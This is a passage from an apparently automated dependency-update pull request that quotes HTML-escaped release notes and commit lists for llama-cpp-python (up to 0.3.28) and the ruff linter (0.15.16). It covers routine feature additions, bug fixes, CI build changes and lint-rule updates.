Updated server example (batch processing, multi-token prediction, \u003ccode\u003e/v1/responses\u003c/code\u003e api, response parsing) by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2174\"\u003e#2174\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.26]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Generic Multimodal Chat Handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2256\"\u003e#2256\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: update llama.cpp to ggml-org/llama.cpp@7c158fbb4\u003c/li\u003e\n\u003cli\u003efeat(ci): add ROCm wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2252\"\u003e#2252\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add Vulkan wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2251\"\u003e#2251\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: handle additional \u003ccode\u003efrom_pretrained\u003c/code\u003e files in subfolders by \u003ca href=\"https://github.com/TNing\"\u003e\u003ccode\u003e@​TNing\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2085\"\u003e#2085\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.25]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@210a6570c by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2242\"\u003e#2242\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Gemma 4 multimodal chat support by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2241\"\u003e#2241\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 13.0 and 13.2 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2239\"\u003e#2239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): add CUDA 11.8 wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2238\"\u003e#2238\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): add Pascal compute capability targets to CUDA wheel builds by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2237\"\u003e#2237\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.24]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: update ROCm install instructions by \u003ca href=\"https://github.com/agronholm\"\u003e\u003ccode\u003e@​agronholm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1867\"\u003e#1867\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: clear prompt for recurrent / hybrid models when only a partial prefix matches by \u003ca href=\"https://github.com/avion23\"\u003e\u003ccode\u003e@​avion23\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2108\"\u003e#2108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: match Transformers \u003ccode\u003etojson\u003c/code\u003e in chat template rendering by \u003ca href=\"https://github.com/CISC\"\u003e\u003ccode\u003e@​CISC\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1486\"\u003e#1486\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: use env var configured multimodal library override paths when loading shared libraries by \u003ca href=\"https://github.com/navratil-matej\"\u003e\u003ccode\u003e@​navratil-matej\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1782\"\u003e#1782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add Jinja2 loop controls to chat templates by \u003ca href=\"https://github.com/handshape\"\u003e\u003ccode\u003e@​handshape\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2018\"\u003e#2018\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid cleanup errors for partially initialized \u003ccode\u003eLlamaModel\u003c/code\u003e objects by \u003ca href=\"https://github.com/usernames122\"\u003e\u003ccode\u003e@​usernames122\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2173\"\u003e#2173\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: suppress stdout and stderr in Jupyter notebooks by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2181\"\u003e#2181\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: enable arm64 musl builds by \u003ca href=\"https://github.com/acon96\"\u003e\u003ccode\u003e@​acon96\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2221\"\u003e#2221\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Update llama.cpp to ggml-org/llama.cpp@af6528e6d\u003c/li\u003e\n\u003cli\u003efix: model fails to load when chat template uses HuggingFace generation tags by \u003ca href=\"https://github.com/tobocop2\"\u003e\u003ccode\u003e@​tobocop2\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2226\"\u003e#2226\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add contributing guide by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2229\"\u003e#2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Migrate llama.cpp submodule URL to ggml-org/llama.cpp by \u003ca href=\"https://github.com/shalinib-ibm\"\u003e\u003ccode\u003e@​shalinib-ibm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2034\"\u003e#2034\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Enable unified KV cache for embedding contexts to preserve full per-sequence context in batch embedding calls by \u003ca href=\"https://github.com/SanjanaB123\"\u003e\u003ccode\u003e@​SanjanaB123\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2217\"\u003e#2217\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.23]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7d442abf\u003c/li\u003e\n\u003cli\u003efix: Correct batched embedding outputs for multi-sequence \u003ccode\u003eembed()\u003c/code\u003e calls by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2205\"\u003e#2205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Configure embedding contexts with enough sequence slots for batched \u003ccode\u003eembed()\u003c/code\u003e calls\u003c/li\u003e\n\u003cli\u003efix: Mark all embedding input tokens as outputs to avoid llama.cpp override warnings by \u003ca href=\"https://github.com/Anai-Guo\"\u003e\u003ccode\u003e@​Anai-Guo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2212\"\u003e#2212\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/8e470ac585a2e4363e0c089c479015ed8470ecb1\"\u003e\u003ccode\u003e8e470ac\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.28 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2284\"\u003e#2284\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fddee272fc78e0e6b74cad8da10eb19347cad909\"\u003e\u003ccode\u003efddee27\u003c/code\u003e\u003c/a\u003e feat(example): align server MTP support with llama.cpp (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2283\"\u003e#2283\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/db66da32d12408cc5bc62c27d09e09ba570dc131\"\u003e\u003ccode\u003edb66da3\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to ggml-org/llama.cpp@9e3b928fd (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2282\"\u003e#2282\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/fe927bd000f045ee1b488fbe326421033b8b2716\"\u003e\u003ccode\u003efe927bd\u003c/code\u003e\u003c/a\u003e feat(example): add OpenAI-compatible embeddings endpoint (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2281\"\u003e#2281\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/380177b7b9c09f018d51de7d6410ab8adf5c9754\"\u003e\u003ccode\u003e380177b\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.27 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2279\"\u003e#2279\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/cf1883063bfa8b80cdd95a5e65fb923e97381105\"\u003e\u003ccode\u003ecf18830\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to ggml-org/llama.cpp@465b1f0e7 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2278\"\u003e#2278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/66635a02fd32e1a4cc6bea3c85c3c7c50972fdfd\"\u003e\u003ccode\u003e66635a0\u003c/code\u003e\u003c/a\u003e feat(example): Updated server example (batch processing, \u003ccode\u003e/v1/responses\u003c/code\u003e api,...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ed833664fe96050d2990131f4673f112d8f88924\"\u003e\u003ccode\u003eed83366\u003c/code\u003e\u003c/a\u003e feat: update llama.cpp to 5a69c9743 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2277\"\u003e#2277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7f16fe1963bbca25b7b8f59410153d46d48dea0f\"\u003e\u003ccode\u003e7f16fe1\u003c/code\u003e\u003c/a\u003e docs: add Gemma 4 QAT Colab notebook (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2276\"\u003e#2276\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/7a2a36d769ffe051320345a9a64b68dddc53b9f8\"\u003e\u003ccode\u003e7a2a36d\u003c/code\u003e\u003c/a\u003e docs: fix Gemma 4 Colab notebook (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2275\"\u003e#2275\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.21...v0.3.28\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ruff` from 0.15.12 to 0.15.16\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/releases\"\u003eruff's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.16\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-async\u003c/code\u003e] Implement \u003ccode\u003eyield-in-context-manager-in-async-generator\u003c/code\u003e (\u003ccode\u003eASYNC119\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24644\"\u003e#24644\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Narrow diagnostic range and exclude cases without exception handlers (\u003ccode\u003ePLW0717\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25440\"\u003e#25440\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Treat \u003ccode\u003eyield\u003c/code\u003e before \u003ccode\u003ebreak\u003c/code\u003e from a terminal loop as terminal (\u003ccode\u003eRUF075\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25447\"\u003e#25447\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Avoid flagging \u003ccode\u003eruff:ignore\u003c/code\u003e comments as code (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25537\"\u003e#25537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix \u003ccode\u003eERA001\u003c/code\u003e/\u003ccode\u003eRUF100\u003c/code\u003e conflict when \u003ccode\u003enoqa\u003c/code\u003e is on commented-out code (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25414\"\u003e#25414\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyflakes\u003c/code\u003e] Avoid removing the \u003ccode\u003eformat\u003c/code\u003e call when it would change behavior (\u003ccode\u003eF523\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25320\"\u003e#25320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Avoid syntax errors in invalid character replacements in f-strings before Python 3.12 (\u003ccode\u003ePLE2510\u003c/code\u003e, \u003ccode\u003ePLE2512\u003c/code\u003e, \u003ccode\u003ePLE2513\u003c/code\u003e, \u003ccode\u003ePLE2514\u003c/code\u003e, \u003ccode\u003ePLE2515\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25544\"\u003e#25544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyupgrade\u003c/code\u003e] Avoid converting \u003ccode\u003eformat\u003c/code\u003e calls with more kinds of side effects (\u003ccode\u003eUP032\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25484\"\u003e#25484\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pytest-style\u003c/code\u003e] Avoid fixes for ambiguous \u003ccode\u003eargnames\u003c/code\u003e and \u003ccode\u003eargvalues\u003c/code\u003e combinations (\u003ccode\u003ePT006\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24776\"\u003e#24776\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop excess capacity from statement suites during parsing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25368\"\u003e#25368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003epydocstyle\u003c/code\u003e] Improve discoverability of rules enabled for each convention (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24973\"\u003e#24973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Restore example code for Python versions before 3.15 (\u003ccode\u003eRUF017\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25439\"\u003e#25439\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix typo \u003ccode\u003ebin/active\u003c/code\u003e → \u003ccode\u003ebin/activate\u003c/code\u003e in tutorial (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25473\"\u003e#25473\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShrink additional parser AST collections (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25465\"\u003e#25465\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Redslayer112\"\u003e\u003ccode\u003e@​Redslayer112\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/koriyoshi2041\"\u003e\u003ccode\u003e@​koriyoshi2041\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/George-Ogden\"\u003e\u003ccode\u003e@​George-Ogden\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TejasAmle\"\u003e\u003ccode\u003e@​TejasAmle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anishgirianish\"\u003e\u003ccode\u003e@​anishgirianish\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ntBre\"\u003e\u003ccode\u003e@​ntBre\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/loganrosen\"\u003e\u003ccode\u003e@​loganrosen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RafaelJohn9\"\u003e\u003ccode\u003e@​RafaelJohn9\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/adityasingh2400\"\u003e\u003ccode\u003e@​adityasingh2400\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md\"\u003eruff's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.16\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-06-04.\u003c/p\u003e\n\u003ch3\u003ePreview features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-async\u003c/code\u003e] Implement \u003ccode\u003eyield-in-context-manager-in-async-generator\u003c/code\u003e (\u003ccode\u003eASYNC119\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24644\"\u003e#24644\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Narrow diagnostic range and exclude cases without exception handlers (\u003ccode\u003ePLW0717\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25440\"\u003e#25440\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Treat \u003ccode\u003eyield\u003c/code\u003e before \u003ccode\u003ebreak\u003c/code\u003e from a terminal loop as terminal (\u003ccode\u003eRUF075\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25447\"\u003e#25447\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Avoid flagging \u003ccode\u003eruff:ignore\u003c/code\u003e comments as code (\u003ccode\u003eERA001\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25537\"\u003e#25537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eeradicate\u003c/code\u003e] Fix \u003ccode\u003eERA001\u003c/code\u003e/\u003ccode\u003eRUF100\u003c/code\u003e conflict when \u003ccode\u003enoqa\u003c/code\u003e is on commented-out code (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25414\"\u003e#25414\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyflakes\u003c/code\u003e] Avoid removing the \u003ccode\u003eformat\u003c/code\u003e call when it would change behavior (\u003ccode\u003eF523\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25320\"\u003e#25320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epylint\u003c/code\u003e] Avoid syntax errors in invalid character replacements in f-strings before Python 3.12 (\u003ccode\u003ePLE2510\u003c/code\u003e, \u003ccode\u003ePLE2512\u003c/code\u003e, \u003ccode\u003ePLE2513\u003c/code\u003e, \u003ccode\u003ePLE2514\u003c/code\u003e, \u003ccode\u003ePLE2515\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25544\"\u003e#25544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003epyupgrade\u003c/code\u003e] Avoid converting \u003ccode\u003eformat\u003c/code\u003e calls with more kinds of side effects (\u003ccode\u003eUP032\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25484\"\u003e#25484\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRule changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003eflake8-pytest-style\u003c/code\u003e] Avoid fixes for ambiguous \u003ccode\u003eargnames\u003c/code\u003e and \u003ccode\u003eargvalues\u003c/code\u003e combinations (\u003ccode\u003ePT006\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24776\"\u003e#24776\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDrop excess capacity from statement suites during parsing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25368\"\u003e#25368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[\u003ccode\u003epydocstyle\u003c/code\u003e] Improve discoverability of rules enabled for each convention (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24973\"\u003e#24973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[\u003ccode\u003eruff\u003c/code\u003e] Restore example code for Python versions before 3.15 (\u003ccode\u003eRUF017\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25439\"\u003e#25439\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix typo \u003ccode\u003ebin/active\u003c/code\u003e → \u003ccode\u003ebin/activate\u003c/code\u003e in tutorial (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25473\"\u003e#25473\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShrink additional parser AST collections (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25465\"\u003e#25465\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Redslayer112\"\u003e\u003ccode\u003e@​Redslayer112\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/koriyoshi2041\"\u003e\u003ccode\u003e@​koriyoshi2041\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/George-Ogden\"\u003e\u003ccode\u003e@​George-Ogden\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TejasAmle\"\u003e\u003ccode\u003e@​TejasAmle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/anishgirianish\"\u003e\u003ccode\u003e@​anishgirianish\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ntBre\"\u003e\u003ccode\u003e@​ntBre\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MichaReiser\"\u003e\u003ccode\u003e@​MichaReiser\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/loganrosen\"\u003e\u003ccode\u003e@​loganrosen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RafaelJohn9\"\u003e\u003ccode\u003e@​RafaelJohn9\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/adityasingh2400\"\u003e\u003ccode\u003e@​adityasingh2400\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.15.15\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/6c498ab5394edc5622d7f348e12956bf86203716\"\u003e\u003ccode\u003e6c498ab\u003c/code\u003e\u003c/a\u003e Bump 0.15.16 (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25635\"\u003e#25635\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/e51e132831c4e1c4a5ac00fca4c9256354ab99bf\"\u003e\u003ccode\u003ee51e132\u003c/code\u003e\u003c/a\u003e [\u003ccode\u003eflake8-async\u003c/code\u003e] Implement \u003ccode\u003eyield-in-context-manager-in-async-generator\u003c/code\u003e (`AS...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/7c6dcd9f2611999c449143d241c582dedf287964\"\u003e\u003ccode\u003e7c6dcd9\u003c/code\u003e\u003c/a\u003e [ty] Add caching for pattern match narrowing (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/issues/25613\"\u003e#25613\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ruff/commit/27058fc071b542bf06395ba89cabed061d313ca6\"\u003e\u003ccode\u003e27058fc\u003c/code\u003e\u003c/a\u003e [ty] Compact retained definition and expression identities (\u003ca 